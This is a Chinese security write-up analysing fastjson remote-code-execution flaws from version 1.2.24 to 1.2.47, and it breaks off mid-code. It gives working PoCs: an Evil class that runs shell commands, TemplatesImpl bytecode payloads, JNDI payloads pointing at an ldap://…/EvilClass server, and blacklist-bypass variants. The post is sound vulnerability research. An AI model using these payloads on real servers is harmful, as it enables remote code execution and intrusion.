fastjson注入分析与总结

fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean

fastjson简介

将类转为json

最常用的方法就是 JSON.toJSONString() ,该方法有若干重载方法,带有不同的参数,其中常用的包括以下几个:

  • 序列化特性:com.alibaba.fastjson.serializer.SerializerFeature,可以通过设置多个特性到 FastjsonConfig 中全局使用,也可以在使用具体方法中指定特性。
  • 序列化过滤器:com.alibaba.fastjson.serializer.SerializeFilter,这是一个接口,通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化。
  • 序列化时的配置:com.alibaba.fastjson.serializer.SerializeConfig ,可以添加特点类型自定义的序列化配置。

将json反序列化为类

json 数据反序列化时常使用的方法为parse()parseObject()parseArray(),这三个方法也均包含若干重载方法,带有不同参数:

  • 反序列化特性:com.alibaba.fastjson.parser.Feature
  • 类的类型:java.lang.reflect.Type,用来执行反序列化类的类型。
  • 处理泛型反序列化:com.alibaba.fastjson.TypeReference
  • 编程扩展定制反序列化:com.alibaba.fastjson.parser.deserializer.ParseProcess,例如ExtraProcessor 用于处理多余的字段,ExtraTypeProvider 用于处理多余字段时提供类型信息。

示例代码

pom依赖

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

User

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class User {
private int id;
private int age;
private String name;

@Override
public String toString() {
return "User{" +
"id=" + id +
", age=" + age +
", name='" + name + '\'' +
'}';
}

public int getId() {
return id;
}

public void setId(int id) {
this.id = id;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

使用fastjson将对象解析为字符串、从字符串解析为对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

import java.util.HashMap;
import java.util.Map;

public class JSONTest {
public static void main(String[] args) {
Map<String, Object> map = new HashMap<String, Object>();
map.put("key1", "One");
map.put("key2", "Two");
String mapJson = JSON.toJSONString(map);
System.out.println(mapJson);

System.out.println("--------------------------");


User user = new User();
user.setId(1);
user.setAge(17);
user.setName("张三");

// 对象转字符串
String s1 = JSON.toJSONString(user);
String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1);
System.out.println(s2);

System.out.println("--------------------------");

// 字符串转对象
User o1 = (User) JSON.parse(s2);
System.out.println("o1:"+o1);
System.out.println(o1.getClass().getName());

JSONObject o2 = JSON.parseObject(s2);
System.out.println("o2:"+o2);
System.out.println(o2.getClass().getName());

Object o3 = JSON.parseObject(s2, Object.class);
System.out.println("o3:"+o3);
System.out.println(o3.getClass().getName());
}
}

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
{"key1":"One","key2":"Two"}
--------------------------
{"age":17,"id":1,"name":"张三"}
{"@type":"com.alter.test.User","age":17,"id":1,"name":"张三"}
--------------------------
o1:User{id=1, age=17, name='张三'}
com.alter.test.User
o2:{"name":"张三","id":1,"age":17}
com.alibaba.fastjson.JSONObject
o3:User{id=1, age=17, name='张三'}
com.alter.test.User

fastjson通过JSON.toJSONString()将对象转为字符串(序列化),当使用SerializerFeature.WriteClassName参数时会将对象的类名写入@type字段中,在重新转回对象时会根据@type来指定类,进而调用该类的setget方法。因为这个特性,我们可以指定@type为任意存在问题的类,造成一些问题。

在字符串转对象的过程中(反序列化),主要使用JSON.parse()JSON.parseObject()两个方法,两者区别在于parse()会返回实际类型(User)的对象,而parseObject()在不指定class时返回的是JSONObject,指定class才会返回实际类型(User)的对象,也就是JSON.parseObject(s2)JSON.parseObject(s2, Object.class)的区别,这里也可以指定为User.class

我们再来看@type的问题,我定义了一个Evil类,在其set方法中可以执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.io.IOException;

public class Evil {
private String cmd;

public Evil() {
System.out.println("Evil()");
}

public String getCmd() {
System.out.println("getCmd()");
return cmd;
}

public void setCmd(String cmd) {
System.out.println("setCmd()");
this.cmd = cmd;
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}

fastjson中加入如下代码:

1
2
3
Object t3 = JSON.parseObject("{\"@type\":\"com.alter.test.Evil\",\"cmd\":\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"", Object.class);
System.out.println("t3:"+t3);
System.out.println(t3.getClass().getName());

此时弹出计算器并增加如下输出

1
2
3
4
Evil()
setCmd()
t3:com.alter.test.Evil@722c41f4
com.alter.test.Evil

我们通过控制@type来实现反序列化恶意Evil类,从而RCE,很简单只是举个例子说明@type的使用。
那么到这里还有一个问题,为什么写在setCmd方法会自动调用呢?

set、get方法的自动调用

测试代码如下:

1
2
3
4
5
6
7
8
System.out.println("--------------------------");
Object t1 = JSON.parse("{\"@type\":\"com.alter.test.Evil\",\"cmd\":\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}");
System.out.println("--------------------------");
Object t2 = JSON.parseObject("{\"@type\":\"com.alter.test.Evil\",\"cmd\":\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"");
System.out.println("--------------------------");
Object t3 = JSON.parseObject("{\"@type\":\"com.alter.test.Evil\",\"cmd\":\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"", Object.class);
System.out.println("t3:"+t3);
System.out.println(t3.getClass().getName());

运行结果为

1
2
3
4
5
6
7
8
9
10
11
12
--------------------------
Evil()
setCmd()
--------------------------
Evil()
setCmd()
getCmd()
--------------------------
Evil()
setCmd()
t3:com.alter.test.Evil@621be5d1
com.alter.test.Evil

可以看到parseObject(text)getset、构造方法都自动调用了,另外两种解析方法(parse(text)parseObject(text,clazz))只调用了set、构造方法。

在通过@type拿到类之后,通过反射拿到该类所有的方法存入methods
getMethods

接下来遍历methods进而获取set方法
set

总结set方法自动调用的条件为:

  • 方法名长度大于等于4
  • 不是静态方法
  • 无返回值或返回值是当前类
  • 参数为1
  • 方法名以set开头

当满足条件之后会从方法名截取属性名,截取时会判断方法名第四个字符,如果是 _,如set_name会截取为name属性,具体逻辑如下:
set2

当截取完但是找不到这个属性,会判断传入的第一个参数类型是否为布尔型,是的话将propertyName第一个字母转大写拼接在is后,并且然后重新尝试获取属性字段。
set3
比如:public boolean setBoy(boolean t) 会寻找isBoy字段。
接下来就是如果有setCmd()会绑定cmd属性,如果该类没有cmd属性会绑定isCmd属性。

获取get方法
get
总结get方法自动调用的条件为:

  • 方法名长度大于等于4
  • 不是静态方法
  • 无返回值或返回值是当前类
  • 方法名以get开头
  • 第四个字母大写
  • 没有参数
  • 返回值类型继承自CollectionMapAtomicBooleanAtomicIntegerAtomicLong

在前文中我们知道parseObject(text)返回的是JSONObject对象,跟进其方法发现也是使用parse解析的,但是多了一个(JSONObject)toJSON(obj)
1
parseObject(text)调用get方法的调用栈如下:(在调用set和构造方法之后调用get)
2

当程序绑定了对应的字段之后,如果传入json字符串的键值中存在这个值,就会去调用执行对应的setter、构造方法。

小结:

  • parse(jsonStr) 构造方法+Json字符串指定属性的setter()+特殊的getter()
  • parseObject(jsonStr) 构造方法+Json字符串指定属性的setter()+所有getter() 包括不存在属性和私有属性的getter()
  • parseObject(jsonStr,Object.class) 构造方法+Json字符串指定属性的setter()+特殊的getter()
  • 使用 JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class
  • fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
  • 使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 gettersetter 都被调用。
  • 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
  • fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 _a_g_e_getter 方法为 getAge()fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _- 进行组合混淆。
  • fastjson 在反序列化时,如果 Field 类型为 byte[],此时com.alibaba.fastjson.serializer#deserialzelexer.token()==4,将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的在序列化时也会进行 base64 编码。

这里放一张大佬的fastjson经典流程图
2019-08-06-15643894021726

  • JSON 入口,提供将json串转换为java对象的静态方法。这些方法的实现,实际托付给了DefaultJSONParser类
  • DefaultJSONParser 功能组合器,它将上层调用、反序列化配置、反序列化实现、词法解析等功能组合在一起,相当于设计模式中的外观模式,供外部统一调用
  • ParserConfig 全局唯一的解析配置
  • JSONLexer 专门用于解析 JSON 字符串,主要JSONScanner和JSONLexerBase,前者是对整个字符串的反序列化,后者是接Reader直接序列化
  • SymbolTable 因为 json 特殊性,对关键 key 的缓存
  • ObjectDeserializer 反序列化接口

漏洞历程

1. fastjson-1.2.24

在2017年3月15日,fastjson官方主动爆出在 1.2.24 及之前版本存在远程代码执行高危安全漏洞。

影响版本:fastjson <= 1.2.24
描述:fastjson 默认使用 @type 指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。此漏洞开启了 fastjson 反序列化漏洞的大门,为安全研究人员提供了新的思路。

在小于 fastjson 1.2.24 版本中有两条利用链。

1
2
JDK7u21 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
JNDI com.sun.rowset.JdbcRowSetImpl

TemplatesImpl 反序列化

TemplatesImpl 类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,实现了 Serializable 接口,因此它可以被序列化,我们来看一下漏洞触发点。

首先我们注意到该类中存在一个成员属性 _class,是一个 Class 类型的数组,数组里下标为_transletIndex ,在getTransletInstance()方法中数组元素使用 newInstance() 实例化。
getTransletInstance

而类中的 getOutputProperties() 方法调用 newTransformer() 方法, newTransformer() 又调用了 getTransletInstance() 方法。
getOutputProperties

getOutputProperties() 方法就是类成员变量 _outputPropertiesgetter 方法。
1_outputProperties

这就给了我们调用链,那 _class 中的类是否可控呢?看一下调用,发现在构造方法以及 defineTransletClasses() 中有赋值的动作。
1_class

其中 defineTransletClasses()getTransletInstance() 中,如果 _class 为空即会被调用
getTransletInstance.defineTransletClasses

看一下 defineTransletClasses() 的逻辑:
defineTransletClasses
首先要求 _bytecodes 不为空,接着就会调用自定义的 ClassLoader 去加载 _bytecodes 中的 byte[] 。而 _bytecodes 也是该类的成员属性。
而如果这个类的父类为 ABSTRACT_TRANSLET 也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,就会将类成员属性的 _transletIndex 设置为当前循环中的标记位,而如果是第一次调用,就是_class[0]。如果父类不是这个类,将会抛出异常。

那这样一条完整的漏洞调用链就呈现出来了:

  • 构造一个 TemplatesImpl 类的反序列化字符串,其中 _bytecodes 是我们构造的恶意类的类字节码,这个类的父类是 AbstractTranslet,最终这个类会被加载到getTransletInstance(),并使用 newInstance() 实例化。
  • 在反序列化过程中,由于getter方法 getOutputProperties(),满足条件,将会被 fastjson 调用,而这个方法触发了整个漏洞利用流程:getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() / EvilClass.newInstance().

其中,为了满足漏洞点触发之前不报异常及退出,我们还需要满足 _name 不为 null_tfactory 不为 null
由于部分需要我们更改的私有变量没有 setter 方法,需要使用 Feature.SupportNonPublicField 参数。

条件苛刻

  • 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
  • 服务端使用parse()时,需要JSON.parse(text, Feature.SupportNonPublicField)

最终payload如下:

1
2
3
4
5
6
7
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQA...CJAAk="],
"_name": "alter",
"_tfactory": {},
"_outputProperties": {},
}

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
public class fastjson_1_2_24 {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {
String evilCode_base64 = Base64.encodeBase64String(ClassPool.getDefault().get(Evil2.class.getName()).toBytecode());
String payload = "{\n" +
"\t\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
"\t\"_bytecodes\": [\"" + evilCode_base64 + "\"],\n" +
"\t\"_name\": \"alter\",\n" +
"\t\"_tfactory\": {},\n" +
"\t\"_outputProperties\": {},\n" +
"}";
Object t2 = JSON.parseObject(payload,Object.class, Feature.SupportNonPublicField);
}
}

看完poc应该考虑的几个问题:

  • 为什么parseObject需要Feature.SupportNonPublicField
  • _bytecodes为什么需要base64编码?
  • _tfactory为什么为{}

Feature.SupportNonPublicField
fastjson中默认并不能序列化private属性,而我们使用的TemplatesImpl利用链的多个属性都是private,如_name_tfactory,所以在反序列化的时候需要加上Feature.SupportNonPublicField,这也成了这个利用链的最大限制。

_bytecodes为什么需要base64编码
在解析byte[]的时候进行了base64解码

_tfactory为什么为{}
fastjson-1.2.24.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class:576解析字段值时,会自动判断传入键值是否为空,如果为空会根据类属性定义的类型自动创建实例

tfactory为空

JdbcRowSetImpl 反序列化

JdbcRowSetImpl 类位于 com.sun.rowset.JdbcRowSetImpl ,这条漏洞利用链比较好理解,是 javax.naming.InitialContext#lookup() 参数可控导致的 JNDI 注入。
先看一下 setAutoCommit() 方法,在 this.conn 为空时,将会调用 this.connect() 方法。
setAutoCommit
this.connect()方法里调用了 javax.naming.InitialContext#lookup() 方法,参数从成员变量 dataSource 中获取。
connect

这时调用链就十分清晰了,setDataSourceName()setAutoCommit()满足setter自动调用的条件,当我们传入对应json键值对时就会触发setter,进而触发jndi链接。
最终的 payload 为:

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1389/EvilClass",
"autoCommit":true
}

这里给autoCommit赋值是为了触发setAutoCommit方法。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    public static void jdbc() {
// JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
// try {
// jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EvilClass");
// jdbcRowSet.setAutoCommit(true);
// } catch (SQLException e) {
// e.printStackTrace();
// }

String payload ="{\n" +
"\t\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
"\t\"dataSourceName\":\"ldap://127.0.0.1:1389/#EvilClass\",\n" +
"\t\"autoCommit\":true\n" +
"}";
System.out.println(payload);
Object t2 = JSON.parseObject(payload);
}

JNDI传输过程中使用的就是序列化和反序列化,所以通杀三种解析方式

1
2
3
JSON.parse(evil);
JSON.parseObject(evil);
JSON.parseObject(evil, Object.class);

2. fastjson-1.2.25

在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。

影响版本:1.2.25 <= fastjson <= 1.2.41
描述:作者通过为危险功能添加开关,并提供黑白名单两种方式进行安全防护,其实已经是相当完整的防护思路,而且作者已经意识到黑名单类将会无穷无尽,仅仅通过维护列表来防止反序列化漏洞并非最好的办法。而且靠用户自己来关注安全信息去维护也不现实。

安全更新主要集中在 com.alibaba.fastjson.parser.ParserConfig,首先查看类上出现了几个成员变量:布尔型的 autoTypeSupport,用来标识是否开启任意类型的反序列化,并且默认关闭;字符串数组 denyList ,是反序列化类的黑名单;acceptList 是反序列化白名单。
ParserConfig1
其中黑名单 denyList 包括:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

添加反序列化白名单有3种方法:

  • 使用代码进行添加:ParserConfig.getGlobalInstance().addAccept("org.alter.fastjson.,org.javaweb.")
  • 加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=org.alter.fastjson.
  • fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.alter.fastjson.

看一下 checkAutoType() 的逻辑,如果开启了 autoType 或者 expectClass 不为空也就是指定了 Class 对象时,先判断类名是否在白名单中,如果在,就使用 TypeUtils.loadClass 加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常。
ParserConfig2

如果没开启 autoType ,则是先使用黑名单匹配,再使用白名单匹配和加载。最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了 autoType 或者 expectClass 不为空也就是指定了 Class
ParserConfig3
进入loadClass看一下,发现这个类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的 [L; 字符。
ParserConfig4

因此就在这个位置出现了逻辑漏洞,攻击者可以使用带有描述符的类绕过黑名单的限制,而在类加载过程中,描述符还会被处理掉。
因此,漏洞利用的思路就出来了:需要开启 autoType,使用带有描述符的类来进行黑名单的绕过。
最终的 payload 其实就是在之前的 payload 类名上前后加上 L; 即可:

1
2
3
4
5
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:1389/EvilClass",
"autoCommit":true
}

3. fastjson-1.2.42

在版本 1.2.42 中,fastjson 继续延续了黑白名单的检测模式,但是将黑名单类从白名单修改为使用 hash 的方式进行对比,这是为了防止安全研究人员根据黑名单中的类进行反向研究,用来对未更新的历史版本进行攻击。同时,作者对之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。

影响版本:1.2.25 <= fastjson <= 1.2.42
描述:通过变量常用的jar、类、字符串碰撞hash得到黑名单,有一个项目已经做好了:https://github.com/LeadroyaL/fastjson-blacklist

42ParserConfig1

加密方式在com.alibaba.fastjson.util.TypeUtils#fnv1a_64是有的
42ParserConfig2

并且在 checkAutoType 中加入判断,如果类的第一个字符是 L 结尾是 ;,则使用 substring 进行了去除。还是用hash写的。
42ParserConfig3

但是这种判断完全是徒劳的,因为在最后处理时是递归处理,因此只要对描述符进行双写即可绕过:

1
2
3
4
5
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:1389/EvilClass",
"autoCommit":true
}

4. fastjson-1.2.43

这个版本主要是修复上一个版本中双写绕过的问题。

影响版本:1.2.25 <= fastjson <= 1.2.43
描述:上有政策,下有对策。在 L、; 被进行了限制后,安全研究人员将目光转向了 [。

可以看到用来检查的 checkAutoType 代码添加了判断,如果类名连续出现了两个 L 将会抛出异常
43ParserConfig1

这样使用 L; 绕过黑名单的思路就被阻挡了,但是在 loadClass 的过程中,还针对 [ 也进行了处理和递归,可以利用 [ 进行黑名单的绕过(1.2.25 <= fastjson <=1.2.43都可以利用[过滤)
payload如下:

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"ldap://127.0.0.1:1389/EvilClass",
"autoCommit":true
}

5. fastjson-1.2.44

这个版本主要是修复上一个版本中使用 [ 绕过黑名单防护的问题。

影响版本:1.2.25 <= fastjson <= 1.2.44
描述:在此版本将 [ 也进行修复了之后,由字符串处理导致的黑名单绕过也就告一段落了。

checkAutoType 中添加了新的判断,如果类名以 [ 开始则直接抛出异常。

可以使用像fastjson-1.2.45payload byPass

6. fastjson-1.2.45

在此版本爆出了一个黑名单绕过,实际上,黑名单是无穷无尽的,随着 fastjson 的版本更新,一定会有更多的黑名单爆出来,因为隔壁 jackson 都是明文黑名单的,只要隔壁一更新,大家都看到了,就会拿来看 fastjson

影响版本:1.2.25 <= fastjson <= 1.2.45
描述:黑名单列表需要不断补充。

payload如下:

1
2
3
4
5
6
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}

需要pom

1
2
3
4
5
<dependency>
<groupId>org.apache.ibatis</groupId>
<artifactId>ibatis-core</artifactId>
<version>3.0</version>
</dependency>

7. fastjson-1.2.47

fastjson 不断迭代到 1.2.47 时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。

影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport
影响版本:1.2.33 <= fastjson <= 1.2.47不论是否开启AutoTypeSupport
描述:作者删除了一个 fastjson 的测试文件:https://github.com/alibaba/fastjson/commit/be41b36a8d748067ba4debf12bf236388e500c66 ,里面包含了这次通杀漏洞的 payload。

分析

这次的绕过问题还是出现在 checkAutoType() 方法中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// 类名非空判断
if (typeName == null) {
return null;
}
// 类名长度判断,不大于128不小于3
if (typeName.length() >= 128 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}

String className = typeName.replace('$', '.');
Class<?> clazz = null;

final long BASIC = 0xcbf29ce484222325L; //;
final long PRIME = 0x100000001b3L; //L

final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
// 类名以 [ 开头抛出异常
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
// 类名以 L 开头以 ; 结尾抛出异常
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}

final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
// autoTypeSupport 为 true 时,先对比 acceptHashCodes 加载白名单项
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
// 再对比 denyHashCodes 进行黑名单匹配
// 如果黑名单有匹配并且 TypeUtils.mappings 里没有缓存这个类
// 则抛出异常
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

// 尝试在 TypeUtils.mappings 中查找缓存的 class
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

// 尝试在 deserializers 中查找这个类
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

// 如果找到了对应的 class,则会进行 return
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

// 如果没有开启 AutoTypeSupport ,则先匹配黑名单,在匹配白名单,与之前逻辑一致
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;

if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}

if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}
// 如果 class 还为空,则使用 TypeUtils.loadClass 尝试加载这个类
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

if (clazz != null) {
if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
return clazz;
}

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}

final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

由以上代码可知,这里存在一个逻辑问题: autoTypeSupporttrue 时,fastjson 也会禁止一些黑名单的类反序列化,但是有一个判断条件:当反序列化的类在黑名单中,且 TypeUtils.mappings 中没有该类的缓存时,才会抛出异常。这里就留下了一个伏笔。就是这个逻辑导致了 1.2.32 之前的版本将会受到 autoTypeSupport 的影响。

1.2.32 之前的版本由于开启了AutoTypeSupport,所以会进行黑白名单判断。黑名单判断逻辑为:

1
2
3
4
5
6
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

这样进入黑名单判断,因为com.sun属于黑名单里面的内容,会抛出异常所以利用失败。
1.2.33及以后的版本增加了如下代码

1
2
3
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}

这样即使className.startsWith(deny)满足,但TypeUtils.getClassFromMapping(typeName) == null不满足,这样就不会抛出异常

autoTypeSupport 为默认的 false 时,程序直接检查黑名单并抛出异常,在这部分我们无法绕过,所以我们的关注点就在判断之前,程序在 TypeUtils.mappings 中和 deserializers 中尝试查找要反序列化的类,如果找到了,就会进入下面if(clazz!=null)这个判断中,并进行 return,这就避开下面 autoTypeSupport 默认为 false 时的检查。
如何才能在这两步中将我们的恶意类加载进去呢?

先看 deserializers ,位于 com.alibaba.fastjson.parser.ParserConfig.deserializers ,是一个 IdentityHashMap,能向其中赋值的函数有:

  • getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。
  • initDeserializers():无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。
  • putDeserializer():被前两个函数调用,我们无法控制入参。

因此我们无法向 deserializers 中写入值,也就在其中读出我们想要的恶意类。所以我们的目光转向了 TypeUtils.getClassFromMapping(typeName)
同样的,这个方法从 TypeUtils.mappings 中取值,这是一个 ConcurrentHashMap 对象,能向其中赋值的函数有:

  • addBaseClassMappings():无入参,加载
  • loadClass():关键函数

看一下 loadClass() 的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
// 非空判断
if(className == null || className.length() == 0){
return null;
}
// 防止重复添加
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
// 判断 className 是否以 [ 开头
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
// 判断 className 是否 L 开头 ; 结尾
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
// 如果 classLoader 非空,cache 为 true 则使用该类加载器加载并存入 mappings 中
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
// 如果失败,或没有指定 ClassLoader ,则使用当前线程的 contextClassLoader 来加载类,也需要 cache 为 true 才能写入 mappings 中
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
// 如果还是失败,则使用 Class.forName 来获取 class 对象并放入 mappings 中
try{
clazz = Class.forName(className);
mappings.put(className, clazz);
